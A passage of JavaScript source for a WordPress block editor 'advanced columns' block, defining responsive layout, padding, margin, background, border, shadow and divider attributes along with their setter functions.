			default: 'none'
		},
		dividerTopColor: {
			type: 'string',
			default: '#000000'
		},
		dividerTopWidth: {
			type: 'number',
			default: 100
		},
		dividerTopWidthTablet: {
			type: 'number',
			default: 100
		},
		dividerTopWidthMobile: {
			type: 'number',
			default: 100
		},
		dividerTopHeight: {
			type: 'number',
			default: 100
		},
		dividerTopHeightTablet: {
			type: 'number',
			default: 100
		},
		dividerTopHeightMobile: {
			type: 'number',
			default: 100
		},
		dividerTopInvert: {
			type: 'boolean',
			default: false
		},
		dividerBottomType: {
			type: 'string',
			default: 'none'
		},
		dividerBottomColor: {
			type: 'string',
			default: '#000000'
		},
		dividerBottomWidth: {
			type: 'number',
			default: 100
		},
		dividerBottomWidthTablet: {
			type: 'number',
			default: 100
		},
		dividerBottomWidthMobile: {
			type: 'number',
			default: 100
		},
		dividerBottomHeight: {
			type: 'number',
			default: 100
		},
		dividerBottomHeightTablet: {
			type: 'number',
			default: 100
		},
		dividerBottomHeightMobile: {
			type: 'number',
			default: 100
		},
		dividerBottomInvert: {
			type: 'boolean',
			default: false
		},
		hide: {
			type: 'boolean',
			default: false
		},
		hideTablet: {
			type: 'boolean',
			default: false
		},
		hideMobile: {
			type: 'boolean',
			default: false
		},
		columnsHTMLTag: {
			type: 'string',
			default: 'div'
		}
	},

	supports: {
		align: [ 'wide', 'full' ],
		html: false
	},

	deprecated: deprecated,

	edit: compose([

		withDispatch( ( dispatch ) => {
			const { updateBlockAttributes } = dispatch( 'core/editor' );

			return {
				updateBlockAttributes
			};
		}),

		withSelect( ( select, props ) => {
			const { clientId } = props;
			const { getBlock } = select( 'core/editor' );
			const sectionBlock = getBlock( clientId );

			return {
				sectionBlock,
				props
			};
		}),

		withState({
			tab: 'layout',
			columnsViewType: 'desktop',
			paddingViewType: 'desktop',
			marginViewType: 'desktop',
			heightViewType: 'desktop',
			dividerViewType: 'top',
			dividerWidthViewType: 'desktop',
			dividerHeightViewType: 'desktop'
		}),

		withViewportMatch({
			isLarger: '>= large',
			isLarge: '<= large',
			isSmall: '>= small',
			isSmaller: '<= small'
		})

	])( ({
		tab,
		columnsViewType,
		paddingViewType,
		marginViewType,
		heightViewType,
		dividerViewType,
		dividerWidthViewType,
		dividerHeightViewType,
		setState,
		isLarger,
		isLarge,
		isSmall,
		isSmaller,
		props,
		sectionBlock,
		updateBlockAttributes
	}) => {
		const {
			id,
			columns,
			layout,
			layoutTablet,
			layoutMobile,
			columnsGap,
			paddingType,
			paddingTypeTablet,
			paddingTypeMobile,
			padding,
			paddingTablet,
			paddingMobile,
			paddingTop,
			paddingTopTablet,
			paddingTopMobile,
			paddingRight,
			paddingRightTablet,
			paddingRightMobile,
			paddingBottom,
			paddingBottomTablet,
			paddingBottomMobile,
			paddingLeft,
			paddingLeftTablet,
			paddingLeftMobile,
			marginType,
			marginTypeTablet,
			marginTypeMobile,
			margin,
			marginTablet,
			marginMobile,
			marginTop,
			marginTopTablet,
			marginTopMobile,
			marginBottom,
			marginBottomTablet,
			marginBottomMobile,
			columnsWidth,
			columnsHeight,
			columnsHeightCustom,
			columnsHeightCustomTablet,
			columnsHeightCustomMobile,
			horizontalAlign,
			verticalAlign,
			backgroundType,
			backgroundColor,
			backgroundImageID,
			backgroundImageURL,
			backgroundAttachment,
			backgroundPosition,
			backgroundRepeat,
			backgroundSize,
			backgroundGradientFirstColor,
			backgroundGradientFirstLocation,
			backgroundGradientSecondColor,
			backgroundGradientSecondLocation,
			backgroundGradientType,
			backgroundGradientAngle,
			backgroundGradientPosition,
			backgroundOverlayOpacity,
			backgroundOverlayType,
			backgroundOverlayColor,
			backgroundOverlayImageID,
			backgroundOverlayImageURL,
			backgroundOverlayAttachment,
			backgroundOverlayPosition,
			backgroundOverlayRepeat,
			backgroundOverlaySize,
			backgroundOverlayGradientFirstColor,
			backgroundOverlayGradientFirstLocation,
			backgroundOverlayGradientSecondColor,
			backgroundOverlayGradientSecondLocation,
			backgroundOverlayGradientType,
			backgroundOverlayGradientAngle,
			backgroundOverlayGradientPosition,
			backgroundOverlayFilterBlur,
			backgroundOverlayFilterBrightness,
			backgroundOverlayFilterContrast,
			backgroundOverlayFilterGrayscale,
			backgroundOverlayFilterHue,
			backgroundOverlayFilterSaturate,
			backgroundOverlayBlend,
			borderType,
			border,
			borderTop,
			borderRight,
			borderBottom,
			borderLeft,
			borderColor,
			borderRadiusType,
			borderRadius,
			borderRadiusTop,
			borderRadiusRight,
			borderRadiusBottom,
			borderRadiusLeft,
			boxShadow,
			boxShadowColor,
			boxShadowColorOpacity,
			boxShadowBlur,
			boxShadowSpread,
			boxShadowHorizontal,
			boxShadowVertical,
			dividerTopType,
			dividerTopColor,
			dividerTopWidth,
			dividerTopWidthTablet,
			dividerTopWidthMobile,
			dividerTopHeight,
			dividerTopHeightTablet,
			dividerTopHeightMobile,
			dividerTopInvert,
			dividerBottomType,
			dividerBottomColor,
			dividerBottomWidth,
			dividerBottomWidthTablet,
			dividerBottomWidthMobile,
			dividerBottomHeight,
			dividerBottomHeightTablet,
			dividerBottomHeightMobile,
			dividerBottomInvert,
			hide,
			hideTablet,
			hideMobile,
			columnsHTMLTag
		} = props.attributes;

		if ( id === undefined || id.substr( id.length - 8 ) !== props.clientId.substr( 0, 8 ) ) {
			const instanceId = `wp-block-themeisle-blocks-advanced-columns-${ props.clientId.substr( 0, 8 ) }`;
			props.setAttributes({ id: instanceId });
		}

		const isDesktop = ( isLarger && ! isLarge && isSmall && ! isSmaller );

		const isTablet = ( ! isLarger && ! isLarge && isSmall && ! isSmaller );

		const isMobile = ( ! isLarger && ! isLarge && ! isSmall && ! isSmaller );

		const Tag = columnsHTMLTag;

		let stylesheet, background, overlayBackground, borderStyle, borderRadiusStyle, boxShadowStyle;

		if ( isDesktop ) {
			stylesheet = {
				paddingRight: 'linked' === paddingType ? `${ padding }px` : `${ paddingRight }px`,
				paddingLeft: 'linked' === paddingType ? `${ padding }px` : `${ paddingLeft }px`,
				marginTop: 'linked' === marginType ? `${ margin }px` : `${ marginTop }px`,
				marginBottom: 'linked' === marginType ? `${ margin }px` : `${ marginBottom }px`,
				minHeight: 'custom' === columnsHeight ? `${ columnsHeightCustom }px` : columnsHeight
			};
		}

		if ( isTablet ) {
			stylesheet = {
				paddingRight: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingRightTablet }px`,
				paddingLeft: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingLeftTablet }px`,
				marginTop: 'linked' === marginTypeTablet ? `${ marginTablet }px` : `${ marginTopTablet }px`,
				marginBottom: 'linked' === marginTypeTablet ? `${ marginTablet }px` : `${ marginBottomTablet }px`,
				minHeight: 'custom' === columnsHeight ? `${ columnsHeightCustomTablet }px` : columnsHeight
			};
		}

		if ( isMobile ) {
			stylesheet = {
				paddingRight: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingRightMobile }px`,
				paddingLeft: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingLeftMobile }px`,
				marginTop: 'linked' === marginTypeMobile ? `${ marginMobile }px` : `${ marginTopMobile }px`,
				marginBottom: 'linked' === marginTypeMobile ? `${ marginMobile }px` : `${ marginBottomMobile }px`,
				minHeight: 'custom' === columnsHeight ? `${ columnsHeightCustomMobile }px` : columnsHeight
			};
		}

		if ( 'color' === backgroundType ) {
			background = {
				background: backgroundColor
			};
		}

		if ( 'image' === backgroundType ) {
			background = {
				backgroundImage: `url( '${ backgroundImageURL }' )`,
				backgroundAttachment,
				backgroundPosition,
				backgroundRepeat,
				backgroundSize
			};
		}

		if ( 'gradient' === backgroundType ) {
			let direction;

			if ( 'linear' === backgroundGradientType ) {
				direction = `${ backgroundGradientAngle }deg`;
			} else {
				direction = `at ${ backgroundGradientPosition }`;
			}

			if ( backgroundGradientFirstColor || backgroundGradientSecondColor ) {
				background = {
					background: `${ backgroundGradientType }-gradient( ${ direction }, ${ backgroundGradientFirstColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientFirstLocation }%, ${ backgroundGradientSecondColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientSecondLocation }% )`
				};
			}
		}

		if ( 'linked' === borderType ) {
			borderStyle = {
				borderWidth: `${ border }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'unlinked' === borderType ) {
			borderStyle = {
				borderTopWidth: `${ borderTop }px`,
				borderRightWidth: `${ borderRight }px`,
				borderBottomWidth: `${ borderBottom }px`,
				borderLeftWidth: `${ borderLeft }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'linked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderRadius: `${ borderRadius }px`
			};
		}

		if ( 'unlinked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderTopLeftRadius: `${ borderRadiusTop }px`,
				borderTopRightRadius: `${ borderRadiusRight }px`,
				borderBottomRightRadius: `${ borderRadiusBottom }px`,
				borderBottomLeftRadius: `${ borderRadiusLeft }px`
			};
		}

		if ( true === boxShadow ) {
			boxShadowStyle = {
				boxShadow: `${ boxShadowHorizontal }px ${ boxShadowVertical }px ${ boxShadowBlur }px ${ boxShadowSpread }px ${  hexToRgba( ( boxShadowColor ? boxShadowColor : '#000000' ), boxShadowColorOpacity ) }`
			};
		}

		const style = {
			...stylesheet,
			...background,
			...borderStyle,
			...borderRadiusStyle,
			...boxShadowStyle,
			alignItems: horizontalAlign,
			justifyContent: verticalAlign
		};

		if ( 'color' === backgroundOverlayType ) {
			overlayBackground = {
				background: backgroundOverlayColor,
				opacity: backgroundOverlayOpacity / 100
			};
		}

		if ( 'image' === backgroundOverlayType ) {
			overlayBackground = {
				backgroundImage: `url( '${ backgroundOverlayImageURL }' )`,
				backgroundAttachment: backgroundOverlayAttachment,
				backgroundPosition: backgroundOverlayPosition,
				backgroundRepeat: backgroundOverlayRepeat,
				backgroundSize: backgroundOverlaySize,
				opacity: backgroundOverlayOpacity / 100
			};
		}

		if ( 'gradient' === backgroundOverlayType ) {
			let direction;

			if ( 'linear' === backgroundOverlayGradientType ) {
				direction = `${ backgroundOverlayGradientAngle }deg`;
			} else {
				direction = `at ${ backgroundOverlayGradientPosition }`;
			}

			overlayBackground = {
				background: `${ backgroundOverlayGradientType }-gradient( ${ direction }, ${ backgroundOverlayGradientFirstColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundOverlayGradientFirstLocation }%, ${ backgroundOverlayGradientSecondColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundOverlayGradientSecondLocation }% )`,
				opacity: backgroundOverlayOpacity / 100
			};
		}

		const overlayStyle = {
			...overlayBackground,
			mixBlendMode: backgroundOverlayBlend,
			filter: `blur( ${ backgroundOverlayFilterBlur / 10 }px ) brightness( ${ backgroundOverlayFilterBrightness / 10 } ) contrast( ${ backgroundOverlayFilterContrast / 10 } ) grayscale( ${ backgroundOverlayFilterGrayscale / 100 } ) hue-rotate( ${ backgroundOverlayFilterHue }deg ) saturate( ${ backgroundOverlayFilterSaturate / 10 } )`
		};

		let innerStyle = {};

		if ( columnsWidth ) {
			innerStyle = {
				maxWidth: columnsWidth + 'px'
			};
		}

		const classes = classnames(
			props.className,
			`has-${ columns }-columns`,
			`has-desktop-${ layout }-layout`,
			`has-tablet-${ layoutTablet }-layout`,
			`has-mobile-${ layoutMobile }-layout`,
			`has-${ columnsGap }-gap`
		);

		const ALLOWED_BLOCKS = [ 'themeisle-blocks/advanced-columns' ];

		const changeColumnsViewType = value => {
			setState({ columnsViewType: value });
		};

		const changePaddingViewType = value => {
			setState({ paddingViewType: value });
		};

		const changeMarginViewType = value => {
			setState({ marginViewType: value });
		};

		const changeHeightViewType = value => {
			setState({ heightViewType: value });
		};

		const changeDividerViewType = value => {
			setState({ dividerViewType: value });
		};

		const changeDividerWidthViewType = value => {
			setState({ dividerWidthViewType: value });
		};

		const changeDividerHeightViewType = value => {
			setState({ dividerHeightViewType: value });
		};

		const updateColumnsWidth = ( columns, layout ) => {
			( sectionBlock.innerBlocks ).map( ( innerBlock, i ) => {
				updateBlockAttributes( innerBlock.clientId, {
					columnWidth: parseFloat( layouts[columns][layout][i])
				});
			});
		};

		const setupColumns = ( columns, layout ) => {
			if ( 1 >= columns ) {
				props.setAttributes({
					columns,
					layout,
					layoutTablet: 'equal',
					layoutMobile: 'equal'
				});
			} else {
				props.setAttributes({
					columns,
					layout,
					layoutTablet: 'equal',
					layoutMobile: 'collapsedRows'
				});
			}
		};

		const changeColumns = value => {
			if ( 6 >= value ) {
				props.setAttributes({
					columns: value,
					layout: 'equal',
					layoutTablet: 'equal',
					layoutMobile: 'collapsedRows'
				});
				updateColumnsWidth( value, 'equal' );
			}

			if ( 6 < value ) {
				props.setAttributes({
					columns: 6,
					layout: 'equal',
					layoutTablet: 'equal',
					layoutMobile: 'collapsedRows'
				});
				updateColumnsWidth( 6, 'equal' );
			}

			if ( 1 >= value ) {
				props.setAttributes({
					columns: 1,
					layout: 'equal',
					layoutTablet: 'equal',
					layoutMobile: 'equal'
				});
				updateColumnsWidth( 1, 'equal' );
			}
		};

		const changeLayout = value => {
			if ( 'desktop' === columnsViewType ) {
				props.setAttributes({ layout: value });
				updateColumnsWidth( columns, value );
			}
			if ( 'tablet' === columnsViewType ) {
				props.setAttributes({ layoutTablet: value });
			}
			if ( 'mobile' === columnsViewType ) {
				props.setAttributes({ layoutMobile: value });
			}
		};

		const changeColumnsGap = value => {
			props.setAttributes({ columnsGap: value });
		};

		const getPadding = type => {
			let value;

			if ( 'top' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingTop;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingTopTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingTopMobile;
				}
			}

			if ( 'right' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingRight;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingRightTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingRightMobile;
				}
			}

			if ( 'bottom' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingBottom;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingBottomTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingBottomMobile;
				}
			}

			if ( 'left' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingLeft;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingLeftTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingLeftMobile;
				}
			}

			return value;
		};

		const getPaddingBasedOnScreen = type => {
			let value;

			if ( 'top' == type ) {
				if ( isDesktop ) {
					value = 'linked' === paddingType ? padding : paddingTop;
				}

				if ( isTablet ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingTopTablet;
				}

				if ( isMobile ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingTopMobile;
				}
			}

			if ( 'bottom' == type ) {
				if ( isDesktop ) {
					value = 'linked' === paddingType ? padding : paddingBottom;
				}

				if ( isTablet ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingBottomTablet;
				}

				if ( isMobile ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingBottomMobile;
				}
			}

			return value;
		};

		const desktopPaddingType = {
			top: 'paddingTop',
			right: 'paddingRight',
			bottom: 'paddingBottom',
			left: 'paddingLeft'
		};

		const tabletPaddingType = {
			top: 'paddingTopTablet',
			right: 'paddingRightTablet',
			bottom: 'paddingBottomTablet',
			left: 'paddingLeftTablet'
		};

		const mobilePaddingType = {
			top: 'paddingTopMobile',
			right: 'paddingRightMobile',
			bottom: 'paddingBottomMobile',
			left: 'paddingLeftMobile'
		};

		const changePadding = ( type, value ) => {
			if ( 'desktop' === paddingViewType ) {
				if ( 'linked' === paddingType ) {
					props.setAttributes({ padding: value });
				} else {
					props.setAttributes({ [desktopPaddingType[type]]: value });
				}
			}

			if ( 'tablet' === paddingViewType ) {
				if ( 'linked' === paddingTypeTablet ) {
					props.setAttributes({ paddingTablet: value });
				} else {
					props.setAttributes({ [tabletPaddingType[type]]: value });
				}
			}

			if ( 'mobile' === paddingViewType ) {
				if ( 'linked' === paddingTypeMobile ) {
					props.setAttributes({ paddingMobile: value });
				} else {
					props.setAttributes({ [mobilePaddingType[type]]: value });
				}
			}
		};

		const changePaddingType = value => {
			if ( 'desktop' === paddingViewType ) {
				props.setAttributes({ paddingType: value });
			}
			if ( 'tablet' === paddingViewType ) {
				props.setAttributes({ paddingTypeTablet: value });
			}
			if ( 'mobile' === paddingViewType ) {
				props.setAttributes({ paddingTypeMobile: value });
			}
		};

		let getPaddingType = () => {
			let value;

			if ( 'desktop' === paddingViewType ) {
				value = paddingType;
			}
			if ( 'tablet' === paddingViewType ) {
				value = paddingTypeTablet;
			}
			if ( 'mobile' === paddingViewType ) {
				value = paddingTypeMobile;
			}

			return value;
		};

		getPaddingType = getPaddingType();

		const getMargin = type => {
			let value;

			if ( 'top' == type ) {
				if ( 'desktop' === marginViewType ) {
					value = 'linked' === marginType ? margin : marginTop;
				}

				if ( 'tablet' === marginViewType ) {
					value = 'linked' === marginTypeTablet ? marginTablet : marginTopTablet;
				}

				if ( 'mobile' === marginViewType ) {
					value = 'linked' === marginTypeMobile ? marginMobile : marginTopMobile;
				}
			}

			if ( 'bottom' == type ) {
				if ( 'desktop' === marginViewType ) {
					value = 'linked' === marginType ? margin : marginBottom;
				}

				if ( 'tablet' === marginViewType ) {
					value = 'linked' === marginTypeTablet ? marginTablet : marginBottomTablet;
				}

				if ( 'mobile' === marginViewType ) {
					value = 'linked' === marginTypeMobile ? marginMobile : marginBottomMobile;
				}
			}

			return value;
		};

		const desktopMarginType = {
			top: 'marginTop',
			bottom: 'marginBottom'
		};

		const tabletMarginType = {
			top: 'marginTopTablet',
			bottom: 'marginBottomTablet'
		};

		const mobileMarginType = {
			top: 'marginTopMobile',
			bottom: 'marginBottomMobile'
		};

		const changeMargin = ( type, value ) => {
			if ( 'desktop' === marginViewType ) {
				if ( 'linked' === marginType ) {
					props.setAttributes({ margin: value });
				} else {
					props.setAttributes({ [desktopMarginType[type]]: value });
				}
			}

			if ( 'tablet' === marginViewType ) {
				if ( 'linked' === marginTypeTablet ) {
					props.setAttributes({ marginTablet: value });
				} else {
					props.setAttributes({ [tabletMarginType[type]]: value });
				}
			}

			if ( 'mobile' === marginViewType ) {
				if ( 'linked' === marginTypeMobile ) {
					props.setAttributes({ marginMobile: value });
				} else {
					props.setAttributes({ [mobileMarginType[type]]: value });
				}
			}
		};

		const changeMarginType = value => {
			if ( 'desktop' === marginViewType ) {
				props.setAttributes({ marginType: value });
			}
			if ( 'tablet' === marginViewType ) {
				props.setAttributes({ marginTypeTablet: value });
			}
			if ( 'mobile' === marginViewType ) {
				props.setAttributes({ marginTypeMobile: value });
			}
		};

		let getMarginType = () => {
			let value;

			if ( 'desktop' === marginViewType ) {
				value = marginType;
			}
			if ( 'tablet' === marginViewType ) {
				value = marginTypeTablet;
			}
			if ( 'mobile' === marginViewType ) {
				value = marginTypeMobile;
			}

			return value;
		};

		getMarginType = getMarginType();

		const changeColumnsWidth = value => {
			if ( ( 0 <= value && 1200 >= value ) || undefined === value ) {
				props.setAttributes({ columnsWidth: value });
			}
		};

		const changeColumnsHeight = value => {
			props.setAttributes({ columnsHeight: value });
		};

		let getColumnsHeightCustom = () => {
			let value;

			if ( 'desktop' === heightViewType ) {
				value = columnsHeightCustom;
			}

			if ( 'tablet' === heightViewType ) {
				value = columnsHeightCustomTablet;
			}

			if ( 'mobile' === heightViewType ) {
				value = columnsHeightCustomMobile;
			}

			return value;
		};

		getColumnsHeightCustom = getColumnsHeightCustom();

		const changeColumnsHeightCustom = value => {
			if ( 'desktop' === heightViewType ) {
				props.setAttributes({ columnsHeightCustom: value });
			}
			if ( 'tablet' === heightViewType ) {
				props.setAttributes({ columnsHeightCustomTablet: value });
			}
			if ( 'mobile' === heightViewType ) {
				props.setAttributes({ columnsHeightCustomMobile: value });
			}
		};

		const changeHorizontalAlign = value => {
			if ( horizontalAlign === value ) {
				return props.setAttributes({ horizontalAlign: 'unset' });
			}
			props.setAttributes({ horizontalAlign: value });
		};

		const changeVerticalAlign = value => {
			if ( verticalAlign === value ) {
				return props.setAttributes({ verticalAlign: 'unset' });
			}
			props.setAttributes({ verticalAlign: value });
		};

		const changeBackgroundType = value => {
			props.setAttributes({ backgroundType: value });
		};

		const changeBackgroundColor = value => {
			props.setAttributes({ backgroundColor: value });
		};

		const changeBackgroundImage = value => {
			props.setAttributes({
				backgroundImageID: value.id,
				backgroundImageURL: value.url
			});
		};

		const removeBackgroundImage = () => {
			props.setAttributes({
				backgroundImageID: '',
				backgroundImageURL: ''
			});
		};

		const changeBackgroundAttachment = value => {
			props.setAttributes({ backgroundAttachment: value });
		};

		const changeBackgroundPosition = value => {
			props.setAttributes({ backgroundPosition: value });
		};

		const changeBackgroundRepeat = value => {
			props.setAttributes({ backgroundRepeat: value });
		};

		const changeBackgroundSize = value => {
			props.setAttributes({ backgroundSize: value });
		};

		const changeBackgroundGradientFirstColor = value => {
			props.setAttributes({ backgroundGradientFirstColor: value });
		};

		const changeBackgroundGradientFirstLocation = value => {
			props.setAttributes({ backgroundGradientFirstLocation: value });
		};

		const changeBackgroundGradientSecondColor = value => {
			props.setAttributes({ backgroundGradientSecondColor: value });
		};

		const changeBackgroundGradientSecondLocation = value => {
			props.setAttributes({ backgroundGradientSecondLocation: value });
		};

		const changeBackgroundGradientType = value => {
			props.setAttributes({ backgroundGradientType: value });
		};

		const changeBackgroundGradientAngle = value => {
			props.setAttributes({ backgroundGradientAngle: value });
		};

		const changeBackgroundGradientPosition = value => {
			props.setAttributes({ backgroundGradientPosition: value });
		};

		const changeBackgroundOverlayOpacity = value => {
			props.setAttributes({ backgroundOverlayOpacity: value });
		};

		const changeBackgroundOverlayType = value => {
			props.setAttributes({ backgroundOverlayType: value });
		};

		const changeBackgroundOverlayColor = value => {
			props.setAttributes({ backgroundOverlayColor: value });
		};

		const changeBackgroundOverlayImage = value => {
			props.setAttributes({
				backgroundOverlayImageID: value.id,
				backgroundOverlayImageURL: value.url
			});
		};

		const removeBackgroundOverlayImage = () => {
			props.setAttributes({
				backgroundOverlayImageID: '',
				backgroundOverlayImageURL: ''
			});
		};

		const changeBackgroundOverlayAttachment = value => {
			props.setAttributes({ backgroundOverlayAttachment: value });
		};

		const changeBackgroundOverlayPosition = value => {
			props.setAttributes({ backgroundOverlayPosition: value });
		};

		const changeBackgroundOverlayRepeat = value => {
			props.setAttributes({ backgroundOverlayRepeat: value });
		};

		const changeBackgroundOverlaySize = value => {
			props.setAttributes({ backgroundOverlaySize: value });
		};

		const changeBackgroundOverlayGradientFirstColor = value => {
			props.setAttributes({ backgroundOverlayGradientFirstColor: value });
		};

		const changeBackgroundOverlayGradientFirstLocation = value => {
			props.setAttributes({ backgroundOverlayGradientFirstLocation: value });
		};

		const changeBackgroundOverlayGradientSecondColor = value => {
			props.setAttributes({ backgroundOverlayGradientSecondColor: value });
		};

		const changeBackgroundOverlayGradientSecondLocation = value => {
			props.setAttributes({ backgroundOverlayGradientSecondLocation: value });
		};

		const changeBackgroundOverlayGradientType = value => {
			props.setAttributes({ backgroundOverlayGradientType: value });
		};

		const changeBackgroundOverlayGradientAngle = value => {
			props.setAttributes({ backgroundOverlayGradientAngle: value });
		};

		const changeBackgroundOverlayGradientPosition = value => {
			props.setAttributes({ backgroundOverlayGradientPosition: value });
		};

		const changebackgroundOverlayFilterBlur = value => {
			props.setAttributes({ backgroundOverlayFilterBlur: value });
		};

		const changebackgroundOverlayFilterBrightness = value => {
			props.setAttributes({ backgroundOverlayFilterBrightness: value });
		};

		const changebackgroundOverlayFilterContrast = value => {
			props.setAttributes({ backgroundOverlayFilterContrast: value });
		};

		const changebackgroundOverlayFilterGrayscale = value => {
			props.setAttributes({ backgroundOverlayFilterGrayscale: value });
		};

		const changebackgroundOverlayFilterHue = value => {
			props.setAttributes({ backgroundOverlayFilterHue: value });
		};

		const changebackgroundOverlayFilterSaturate = value => {
			props.setAttributes({ backgroundOverlayFilterSaturate: value });
		};

		const changebackgroundOverlayBlend = value => {
			props.setAttributes({ backgroundOverlayBlend: value });
		};

		const getBorder = type => {
			let value;

			if ( 'top' == type ) {
				value = 'linked' === borderType ? border : borderTop;
			}

			if ( 'right' == type ) {
				value = 'linked' === borderType ? border : borderRight;
			}

			if ( 'bottom' == type ) {
				value = 'linked' === borderType ? border : borderBottom;
			}

			if ( 'left' == type ) {
				value = 'linked' === borderType ? border : borderLeft;
			}

			return value;
		};

		const changeBorderType = value => {
			props.setAttributes({ borderType: value });
		};

		const borderWidthDirection = {
			top: 'borderTop',
			right: 'borderRight',
			bottom: 'borderBottom',
			left: 'borderLeft'
		};

		const changeBorder = ( type, value ) => {
			if ( 'linked' === borderType ) {
				props.setAttributes({ border: value });
			} else {
				props.setAttributes({ [borderWidthDirection[type]]: value });
			}
		};

		const changeBorderColor = value => {
			props.setAttributes({ borderColor: value });
		};

		const getBorderRadius = type => {
			let value;

			if ( 'top' == type ) {
				value = 'linked' === borderRadiusType ? borderRadius : borderRadiusTop;
			}

			if ( 'right' == type ) {
				value = 'linked' === borderRadiusType ? borderRadius : borderRadiusRight;
			}

			if ( 'bottom' == type ) {
				value = 'linked' === borderRadiusType ? borderRadius : borderRadiusBottom;
			}

			if ( 'left' == type ) {
				value = 'linked' === borderRadiusType ? borderRadius : borderRadiusLeft;
			}

			return value;
		};

		const changeBorderRadiusType = value => {
			props.setAttributes({ borderRadiusType: value });
		};

		const borderRadiusDirection = {
			top: 'borderRadiusTop',
			right: 'borderRadiusRight',
			bottom: 'borderRadiusBottom',
			left: 'borderRadiusLeft'
		};

		const changeBorderRadius = ( type, value ) => {
			if ( 'linked' === borderRadiusType ) {
				props.setAttributes({ borderRadius: value });
			} else {
				props.setAttributes({ [borderRadiusDirection[type]]: value });
			}
		};

		const changeBoxShadow = () => {
			props.setAttributes({ boxShadow: ! boxShadow });
		};

		const changeBoxShadowColor = value => {
			props.setAttributes({ boxShadowColor: value });
		};

		const changeBoxShadowColorOpacity = value => {
			props.setAttributes({ boxShadowColorOpacity: value });
		};

		const changeBoxShadowBlur = value => {
			props.setAttributes({ boxShadowBlur: value });
		};

		const changeBoxShadowSpread = value => {
			props.setAttributes({ boxShadowSpread: value });
		};

		const changeBoxShadowHorizontal = value => {
			props.setAttributes({ boxShadowHorizontal: value });
		};

		const changeBoxShadowVertical = value => {
			props.setAttributes({ boxShadowVertical: value });
		};

		let getDividerType = () => {
			let value;

			if ( 'top' == dividerViewType ) {
				value = dividerTopType;
			}

			if ( 'bottom' == dividerViewType ) {
				value = dividerBottomType;
			}

			return value;
		};

		getDividerType = getDividerType();

		const changeDividerColor = value => {
			if ( 'top' == dividerViewType ) {
				props.setAttributes({ dividerTopColor: value });
			}
			if ( 'bottom' == dividerViewType ) {
				props.setAttributes({ dividerBottomColor: value });
			}
		};

		let getDividerColor = () => {
			let value;

			if ( 'top' == dividerViewType ) {
				value = dividerTopColor;
			}

			if ( 'bottom' == dividerViewType ) {
				value = dividerBottomColor;
			}

			return value;
		};

		getDividerColor = getDividerColor();

		const changeDividerType = value => {
			if ( 'top' == dividerViewType ) {
				props.setAttributes({ dividerTopType: value });
			}

			if ( 'bottom' == dividerViewType ) {
				props.setAttributes({ dividerBottomType: value });
			}
		};

		let getDividerInvert = () => {
			let value;

			if ( 'top' == dividerViewType ) {
				value = dividerTopInvert;
			}

			if ( 'bottom' == dividerViewType ) {
				value = dividerBottomInvert;
			}

			return value;
		};

		getDividerInvert = getDividerInvert();

		const changeDividerInvert = () => {
			if ( 'top' == dividerViewType ) {
				props.setAttributes({ dividerTopInvert: ! dividerTopInvert });
			}

			if ( 'bottom' == dividerViewType ) {
				props.setAttributes({ dividerBottomInvert: ! dividerBottomInvert });
			}
		};

		let getDividerWidth = () => {
			let value;

			if ( 'top' == dividerViewType ) {
				if ( 'desktop' == dividerWidthViewType ) {
					value = dividerTopWidth;
				}

				if ( 'tablet' == dividerWidthViewType ) {
					value = dividerTopWidthTablet;
				}

				if ( 'mobile' == dividerWidthViewType ) {
					value = dividerTopWidthMobile;
				}
			}

			if ( 'bottom' == dividerViewType ) {
				if ( 'desktop' == dividerWidthViewType ) {
					value = dividerBottomWidth;
				}

				if ( 'tablet' == dividerWidthViewType ) {
					value = dividerBottomWidthTablet;
				}

				if ( 'mobile' == dividerWidthViewType ) {
					value = dividerBottomWidthMobile;
				}
			}

			return value;
		};

		getDividerWidth = getDividerWidth();

		let getDividerTopWidth = () => {
			let value;

			if ( isDesktop ) {
				value = dividerTopWidth;
			}

			if ( isTablet ) {
				value = dividerTopWidthTablet;
			}

			if ( isMobile ) {
				value = dividerTopWidthMobile;
			}

			return value;
		};

		getDividerTopWidth = getDividerTopWidth();

		let getDividerBottomWidth = () => {
			let value;

			if ( isDesktop ) {
				value = dividerBottomWidth;
			}

			if ( isTablet ) {
				value = dividerBottomWidthTablet;
			}

			if ( isMobile ) {
				value = dividerBottomWidthMobile;
			}

			return value;
		};

		getDividerBottomWidth = getDividerBottomWidth();

